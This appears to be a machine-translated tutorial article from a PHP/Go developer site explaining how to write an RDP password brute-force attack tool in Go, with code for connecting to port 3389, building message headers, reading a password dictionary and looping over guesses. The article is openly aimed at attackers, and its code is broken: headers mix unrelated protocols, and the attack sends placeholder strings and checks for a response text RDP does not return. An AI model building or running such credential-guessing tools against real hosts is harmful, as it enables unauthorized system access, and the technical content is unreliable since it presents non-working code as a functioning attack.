Home > Backend Development > Golang > golang implements rdp blasting

golang implements rdp blasting

PHPz
Release: 2023-05-14 16:08:38
Original
1120 people have browsed it

In the field of network security, blasting is a technique for testing the password strength of a target account. For cyber attackers, brute force brute force is a common attack method designed to guess the password of a target account in order to gain illegal system access. This process often requires a lot of calculations and time, so many hackers usually choose to use programming languages ​​​​to implement attack tools to simplify and accelerate the blasting process.

This article will explain how to use Go to write RDP blasting attack tools, mainly including the following points:

  1. Research on RDP protocol
  2. Implement TCP connection and message transmission
  3. Implement reading of password dictionary list
  4. Implement blasting attack
  5. Study RDP protocol

Remote Desktop Protocol (RDP) is a remote Manages network protocols for Windows operating systems. It allows users on the local computer to remotely connect to a remote computer over the network, access and control the remote computer's desktop session. RDP is widely used for remote support and remote desktop access, but it also provides an attack surface for hackers to target Windows operating systems.

Before writing an RDP blasting tool, we need to have a deep understanding of the structure and data transmission method of the RDP protocol. The RDP protocol is divided into basic protocol and extended protocol. In the base protocol, the client and server communicate using a TCP connection. In extended protocols, virtual channels or secure channels are used to transmit multiple data streams to support graphics, audio, and other advanced features.

In the next section, we will focus on how to use Golang to implement the connection and message transmission of the RDP basic protocol.

  1. Implementing TCP connection and message transmission

It is very simple to establish a TCP connection using Golang. Go provides the net package to handle Sockets and I/O. First, you need to use the net.Dial() function to establish a TCP connection with the RDP server. Here is a sample code snippet:

conn, err := net.Dial("tcp", "rdp.example.com:3389")
if err != nil {
    // 处理错误信息
}
Copy after login

We also need to understand the message format of the RDP protocol. RDP messages are data structures based on the ASN.1 standard. They usually consist of RDP protocol headers and Microsoft RDPDR and MS TPKT protocol headers. When building an RDP message, we need to set the message headers as follows:

buf := new(bytes.Buffer)

// RDP 协议头
rdpHeader := RdpHeader{
    Type:        PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10,
    Length:      uint16(len(data)),
    SubType:     1,
    Compressed:  0,
    Authentication: 0,
}
// 写入 RDP 协议头
err = binary.Write(buf, binary.BigEndian, &rdpHeader)
if err != nil {
    // 处理错误信息
}

// Microsoft RDPDR 协议头
rdpdrHeader := RdpdrHeader{
    Component:   RDPDR_CTYP_CORE,
    PacketType:  RDPDR_TYPE_REQUEST,
    PacketId:    uint32(packetId),
    DataLength:  uint32(len(data)),
    ExtraData:   0,
    Status:      STATUS_SUCCESS,
}
// 写入 RDPDR 协议头
err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader)
if err != nil {
    // 处理错误信息
}

// 写入数据
err = binary.Write(buf, binary.LittleEndian, data)
if err != nil {
    // 处理错误信息
}

// 发送数据到 RDP 服务器
_, err = conn.Write(buf.Bytes())
if err != nil {
    // 处理错误信息
}
Copy after login

In the above code, we first create an RDP protocol header and Microsoft RDPDR protocol header. Then, the message data is packed and written to a new byte buffer buf. Finally, the data in the buffer is written to the TCP connection established through net.Dial().

  1. Implement reading of the password dictionary list

In an RDP blasting attack, the password dictionary is the most important part of the attack process. Password dictionaries typically contain word and character combinations that are relevant to the target user's password. Therefore, we need to read these password dictionaries from a file in order to use them during the attack.

In Go, file operations are very simple. The file can be opened using the os.Open() function and added to the buffer using the bufio.NewReader() function so that we can read the data in the file line by line . Here is the sample code:

func readPasswords(passwordList string) ([]string, error) {
    passwords := []string{}

    file, err := os.Open(passwordList)
    if err != nil {
        return passwords, err
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        passwords = append(passwords, scanner.Text())
    }

    if err := scanner.Err(); err != nil {
        return passwords, err
    }

    return passwords, nil
}
Copy after login

In the above code, we first open the password dictionary file and add it to the buffer using the bufio package. You can then use the bufio.Scanner() function to read all the data in the file line by line and append it to the passwords list. Ultimately, the function returns a list of passwords and possible errors.

  1. Implement blasting attack

With the password dictionary and RDP message sending code, we can start to build the RDP blasting attack program. In this program, we need a loop to iterate over the password dictionary and try to guess each possible password.

Here is the sample code:

func rdpBruteForce(conn net.Conn, user string, passwordList []string) error {
    for _, password := range passwordList {
        _, err := conn.Write([]byte("some rdp message with password " + password))
        if err != nil {
            return err
        }

        // 检查是否成功找到密码
        response := make([]byte, 1024)
        _, err = conn.Read(response)
        if err != nil {
            return err
        }

        if bytes.Contains(response, []byte("successfully authenticated")) {
            fmt.Printf("Password found: %s", password)
            return nil
        }
    }

    return fmt.Errorf("Password not found in the list")
}
Copy after login

In the above code, we iterate the password dictionary and use the conn.Write() function to send the password contained in the dictionary to the RDP server Message for the current password. We then use the conn.Read() function to receive the response message from the server. If the message contains the string "successfully authenticated", it means that the correct password was found, and the program prints the password and exits the loop. If the password dictionary is successfully iterated but no password is found, an error message is output.

Finally, we need to implement the RDP connection and attack by calling the following function:

func startRdpBruteForce(ip string, user string, passwordList string) error {
    conn, err := net.Dial("tcp", ip+":3389")
    if err != nil {
        return err
    }   
    // 发送所有 RDP 初始化消息
    _, err = conn.Write([]byte("some rdp initialization messages"))
    if err != nil {
        return err
    }

    passwords, err := readPasswords(passwordList)
    if err != nil {
        return err
    }

    err = rdpBruteForce(conn, user, passwords)
    if err != nil {
        return err
    }

    return nil
}
Copy after login

In this function, we first establish the TCP connection and send the RDP initialization message. Then, we read the password dictionary file using the readPasswords() function. Finally, we call the rdpBruteForce() function passing conn and the password list as arguments.

Summary

This article introduces how to use Go to write an RDP blasting attack tool. We learned how to establish TCP connections and send RDP messages using Go, and learned how to read a password dictionary file line by line. We also wrote code that intercepted the response data to look for successful authentication to verify that the correct password was found. This article provides the necessary knowledge and skills to learn and write your own RDP blasting tool. However, it should be noted that this attack method is very dangerous and illegal, and must not be used for illegal purposes.

The above is the detailed content of golang implements rdp blasting. For more information, please follow other related articles on the PHP Chinese website!

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template